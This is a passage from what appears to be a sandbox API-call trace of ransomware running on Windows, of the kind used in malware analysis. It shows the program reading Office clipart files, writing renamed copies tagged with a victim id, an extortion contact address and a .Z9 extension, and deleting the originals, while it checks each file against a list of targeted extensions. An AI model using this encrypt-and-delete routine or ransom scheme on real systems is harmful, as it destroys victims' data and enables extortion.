	[0091.552] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.552] GetLastError () returned 0x0
	[0091.552] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xcb4, lpOverlapped=0x0) returned 1
	[0091.554] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0091.555] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.555] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.555] SetEndOfFile (hFile=0x374) returned 1
	[0091.555] CloseHandle (hObject=0x374) returned 1
	[0091.555] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.555] SetEndOfFile (hFile=0x350) returned 1
	[0091.556] CloseHandle (hObject=0x350) returned 1
	[0091.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1
	[0091.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.556] lstrlenW (lpString=".doc") returned 4
	[0091.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.556] lstrlenW (lpString=".docx") returned 5
	[0091.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.556] lstrlenW (lpString=".pdf") returned 4
	[0091.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.556] lstrlenW (lpString=".xls") returned 4
	[0091.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.556] lstrlenW (lpString=".xlsx") returned 5
	[0091.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.557] lstrlenW (lpString=".ppt") returned 4
	[0091.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.557] lstrlenW (lpString=".zip") returned 4
	[0091.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.557] lstrlenW (lpString=".rar") returned 4
	[0091.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString=".bz2") returned 4
	[0091.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString=".7z") returned 3
	[0091.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.557] lstrlenW (lpString=".dbf") returned 4
	[0091.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.557] lstrlenW (lpString=".1cd") returned 4
	[0091.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.557] lstrlenW (lpString=".jpg") returned 4
	[0091.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.557] lstrlenW (lpString=".doc") returned 4
	[0091.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString=".docx") returned 5
	[0091.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.557] lstrlenW (lpString=".pdf") returned 4
	[0091.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.557] lstrlenW (lpString=".xls") returned 4
	[0091.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.557] lstrlenW (lpString=".xlsx") returned 5
	[0091.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.557] lstrlenW (lpString=".ppt") returned 4
	[0091.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.558] lstrlenW (lpString=".zip") returned 4
	[0091.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.558] lstrlenW (lpString=".rar") returned 4
	[0091.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.558] lstrlenW (lpString=".bz2") returned 4
	[0091.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.558] lstrlenW (lpString=".7z") returned 3
	[0091.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.558] lstrlenW (lpString=".dbf") returned 4
	[0091.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.558] lstrlenW (lpString=".1cd") returned 4
	[0091.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0091.558] lstrlenW (lpString=".jpg") returned 4
	[0091.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.558] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.558] lstrlenW (lpString="ED00010_.WMF") returned 12
	[0091.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.207] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1382) returned 1
	[0092.207] CloseHandle (hObject=0x350) returned 1
	[0092.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220
	[0092.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.207] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.208] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.208] GetLastError () returned 0x0
	[0092.208] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x566, lpOverlapped=0x0) returned 1
	[0092.209] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x570, lpOverlapped=0x0) returned 1
	[0092.210] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.210] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.210] SetEndOfFile (hFile=0x384) returned 1
	[0092.211] CloseHandle (hObject=0x384) returned 1
	[0092.211] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.211] SetEndOfFile (hFile=0x350) returned 1
	[0092.212] CloseHandle (hObject=0x350) returned 1
	[0092.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1
	[0092.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.212] lstrlenW (lpString=".doc") returned 4
	[0092.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.212] lstrlenW (lpString=".docx") returned 5
	[0092.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.212] lstrlenW (lpString=".pdf") returned 4
	[0092.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.212] lstrlenW (lpString=".xls") returned 4
	[0092.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.212] lstrlenW (lpString=".xlsx") returned 5
	[0092.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.212] lstrlenW (lpString=".ppt") returned 4
	[0092.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.212] lstrlenW (lpString=".zip") returned 4
	[0092.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.212] lstrlenW (lpString=".rar") returned 4
	[0092.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString=".bz2") returned 4
	[0092.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString=".7z") returned 3
	[0092.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.213] lstrlenW (lpString=".dbf") returned 4
	[0092.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.213] lstrlenW (lpString=".1cd") returned 4
	[0092.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.213] lstrlenW (lpString=".jpg") returned 4
	[0092.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.213] lstrlenW (lpString=".doc") returned 4
	[0092.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString=".docx") returned 5
	[0092.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.213] lstrlenW (lpString=".pdf") returned 4
	[0092.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString=".xls") returned 4
	[0092.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.213] lstrlenW (lpString=".xlsx") returned 5
	[0092.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.213] lstrlenW (lpString=".ppt") returned 4
	[0092.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.213] lstrlenW (lpString=".zip") returned 4
	[0092.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.213] lstrlenW (lpString=".rar") returned 4
	[0092.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.213] lstrlenW (lpString=".bz2") returned 4
	[0092.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.214] lstrlenW (lpString=".7z") returned 3
	[0092.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.214] lstrlenW (lpString=".dbf") returned 4
	[0092.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.214] lstrlenW (lpString=".1cd") returned 4
	[0092.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0092.214] lstrlenW (lpString=".jpg") returned 4
	[0092.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.214] lstrlenW (lpString="ED00184_.WMF") returned 12
	[0092.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.214] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6958) returned 1
	[0092.214] CloseHandle (hObject=0x350) returned 1
	[0092.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220
	[0092.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.215] GetLastError () returned 0x0
	[0092.215] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1b2e, lpOverlapped=0x0) returned 1
	[0092.217] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0092.218] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.218] WriteFile (in: hFile=0x384, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.218] SetEndOfFile (hFile=0x384) returned 1
	[0092.218] CloseHandle (hObject=0x384) returned 1
	[0092.218] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.218] SetEndOfFile (hFile=0x350) returned 1
	[0092.219] CloseHandle (hObject=0x350) returned 1
	[0092.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString=".doc") returned 4
	[0092.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString=".docx") returned 5
	[0092.220] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.220] lstrlenW (lpString=".pdf") returned 4
	[0092.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString=".xls") returned 4
	[0092.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.220] lstrlenW (lpString=".xlsx") returned 5
	[0092.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.220] lstrlenW (lpString=".ppt") returned 4
	[0092.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString=".zip") returned 4
	[0092.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.220] lstrlenW (lpString=".rar") returned 4
	[0092.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString=".bz2") returned 4
	[0092.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString=".7z") returned 3
	[0092.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString=".dbf") returned 4
	[0092.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString=".1cd") returned 4
	[0092.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString=".jpg") returned 4
	[0092.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.220] lstrlenW (lpString=".doc") returned 4
	[0092.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.221] lstrlenW (lpString=".docx") returned 5
	[0092.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.221] lstrlenW (lpString=".pdf") returned 4
	[0092.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.221] lstrlenW (lpString=".xls") returned 4
	[0092.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.221] lstrlenW (lpString=".xlsx") returned 5
	[0092.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.221] lstrlenW (lpString=".ppt") returned 4
	[0092.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.221] lstrlenW (lpString=".zip") returned 4
	[0092.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.221] lstrlenW (lpString=".rar") returned 4
	[0092.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.221] lstrlenW (lpString=".bz2") returned 4
	[0092.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.221] lstrlenW (lpString=".7z") returned 3
	[0092.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.221] lstrlenW (lpString=".dbf") returned 4
	[0092.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.221] lstrlenW (lpString=".1cd") returned 4
	[0092.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0092.221] lstrlenW (lpString=".jpg") returned 4
	[0092.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.221] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.221] lstrlenW (lpString="EN00006_.WMF") returned 12
	[0092.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.222] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=13936) returned 1
	[0092.222] CloseHandle (hObject=0x350) returned 1
	[0092.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220
	[0092.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
